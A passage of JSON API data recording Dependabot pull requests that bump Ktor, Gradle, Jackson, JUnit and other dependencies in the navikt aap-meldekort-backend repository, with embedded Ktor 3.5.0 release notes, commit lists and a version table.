href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth-jwt's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-952...\n\n_Description has been truncated_","html_url":"https://github.com/navikt/aap-meldekort-backend/pull/642","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/navikt%2Faap-meldekort-backend/issues/642","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/642/packages"},{"uuid":"4567744644","node_id":"PR_kwDOMnDW787hmS4E","number":718,"state":"closed","title":"Bump the minor group across 1 directory with 23 updates","user":"dependabot[bot]","labels":["dependencies","java"],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":"2026-06-03T23:27:53.000Z","author_association":null,"state_reason":null,"created_at":"2026-06-02T02:01:27.000Z","updated_at":"2026-06-03T23:27:55.000Z","time_to_close":163586,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"minor","update_count":23,"packages":[{"name":"gradle-wrapper","old_version":"9.4.1","new_version":"9.5.1","repository_url":"https://github.com/gradle/gradle"},{"name":"org.jetbrains.kotlinx:kotlinx-coroutines-core","old_version":"1.10.2","new_version":"1.11.0","repository_url":"https://github.com/Kotlin/kotlinx.coroutines"},{"name":"io.ktor:ktor-server-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-http-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-netty","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-cors","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-server-status-pages","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-cio","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-client-content-negotiation","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor:ktor-serialization-jackson-jvm","old_version":"3.4.3","new_version":"3.5.0","repository_url":"https://github.com/ktorio/ktor"},{"name":"io.ktor.plugin","old_version":"3.4.3","new_version":"3.5.0"},{"name":"no.nav.teamdokumenthandtering:teamdokumenthandtering-avro-schemas","old_version":"1.1.10","new_version":"1.1.11","repository_url":"https://github.com/navikt/teamdokumenthandtering-avro-schemas"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.21.2","new_version":"2.21.4","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.datatype:jackson-datatype-jsr310","old_version":"2.21.2","new_version":"2.21.4"},{"name":"ch.qos.logback:logback-classic","old_version":"1.5.32","new_version":"1.5.33","repository_url":"https://github.com/qos-ch/logback"},{"name":"org.postgresql:postgresql","old_version":"42.7.10","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"org.flywaydb:flyway-database-postgresql","old_version":"12.5.0","new_version":"12.7.0"},{"name":"io.getunleash:unleash-client-java","old_version":"12.2.1","new_version":"12.2.2","repository_url":"https://github.com/Unleash/unleash-java-sdk"},{"name":"org.junit.jupiter:junit-jupiter-api","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-engine","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"org.junit.jupiter:junit-jupiter-params","old_version":"6.0.3","new_version":"6.1.0","repository_url":"https://github.com/junit-team/junit-framework"},{"name":"io.mockk:mockk","old_version":"1.14.9","new_version":"1.14.11","repository_url":"https://github.com/mockk/mockk"}],"path":null,"ecosystem":"maven"},"body":"Bumps the minor group with 23 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [gradle-wrapper](https://github.com/gradle/gradle) | `9.4.1` | `9.5.1` |\n| [org.jetbrains.kotlinx:kotlinx-coroutines-core](https://github.com/Kotlin/kotlinx.coroutines) | `1.10.2` | `1.11.0` |\n| [io.ktor:ktor-server-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-http-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-netty](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-cors](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-server-status-pages](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-client-cio](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-client-content-negotiation](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| [io.ktor:ktor-serialization-jackson-jvm](https://github.com/ktorio/ktor) | `3.4.3` | `3.5.0` |\n| io.ktor.plugin | `3.4.3` | `3.5.0` |\n| [no.nav.teamdokumenthandtering:teamdokumenthandtering-avro-schemas](https://github.com/navikt/teamdokumenthandtering-avro-schemas) | `1.1.10` | `1.1.11` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.21.2` | `2.21.4` |\n| com.fasterxml.jackson.datatype:jackson-datatype-jsr310 | `2.21.2` | `2.21.4` |\n| [ch.qos.logback:logback-classic](https://github.com/qos-ch/logback) | `1.5.32` | `1.5.33` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.10` | `42.7.11` |\n| org.flywaydb:flyway-database-postgresql | `12.5.0` | `12.7.0` |\n| [io.getunleash:unleash-client-java](https://github.com/Unleash/unleash-java-sdk) | `12.2.1` | `12.2.2` |\n| [org.junit.jupiter:junit-jupiter-api](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-engine](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [org.junit.jupiter:junit-jupiter-params](https://github.com/junit-team/junit-framework) | `6.0.3` | `6.1.0` |\n| [io.mockk:mockk](https://github.com/mockk/mockk) | `1.14.9` | `1.14.11` |\n\n\nUpdates `gradle-wrapper` from 9.4.1 to 9.5.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/gradle/gradle/releases\"\u003egradle-wrapper's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e9.5.1\u003c/h2\u003e\n\u003cp\u003eThe Gradle team is excited to announce Gradle 9.5.1.\u003c/p\u003e\n\u003cp\u003eHere are the highlights of this release:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eTask provenance in reports and failure messages\u003c/li\u003e\n\u003cli\u003eType-safe accessors for precompiled Kotlin Settings plugins\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003ca href=\"https://docs.gradle.org/9.5.1/release-notes.html\"\u003eRead the Release Notes\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eWe would like to thank the following community members for their contributions to this release of Gradle:\n\u003ca href=\"https://github.com/atm1020\"\u003eatm1020\u003c/a\u003e,\n\u003ca href=\"https://github.com/mataha\"\u003emataha\u003c/a\u003e,\n\u003ca href=\"https://github.com/aSemy\"\u003eAdam\u003c/a\u003e,\n\u003ca href=\"https://github.com/kelemen\"\u003eAttila Kelemen\u003c/a\u003e,\n\u003ca href=\"https://github.com/britter\"\u003eBenedikt Ritter\u003c/a\u003e,\n\u003ca href=\"https://github.com/Vampire\"\u003eBjörn Kautler\u003c/a\u003e,\n\u003ca href=\"https://github.com/budindepunk\"\u003eCaro Silva Rode\u003c/a\u003e,\n\u003ca href=\"https://github.com/chanani\"\u003eCHANHAN\u003c/a\u003e,\n\u003ca href=\"https://github.com/DmitryNez\"\u003eDmitry Nezavitin\u003c/a\u003e,\n\u003ca href=\"https://github.com/Juneezee\"\u003eEng Zer Jun\u003c/a\u003e,\n\u003ca href=\"https://github.com/KugelLibelle\"\u003eKugelLibelle\u003c/a\u003e,\n\u003ca href=\"https://github.com/vmadalin\"\u003eMadalin Valceleanu\u003c/a\u003e,\n\u003ca href=\"https://github.com/quijote\"\u003eMarkus Gaisbauer\u003c/a\u003e,\n\u003ca href=\"https://github.com/koppor\"\u003eOliver Kopp\u003c/a\u003e,\n\u003ca href=\"https://github.com/hfhbd\"\u003ePhilip Wedemann\u003c/a\u003e,\n\u003ca href=\"https://github.com/ploober\"\u003eploober\u003c/a\u003e,\n\u003ca href=\"https://github.com/rpalcolea\"\u003eRoberto Perez Alcolea\u003c/a\u003e,\n\u003ca href=\"https://github.com/R0h1tAnand\"\u003eRohit Anand\u003c/a\u003e,\n\u003ca href=\"https://github.com/Suvrat1629\"\u003eSuvrat Acharya\u003c/a\u003e,\n\u003ca href=\"https://github.com/usv240\"\u003eUjwal Suresh 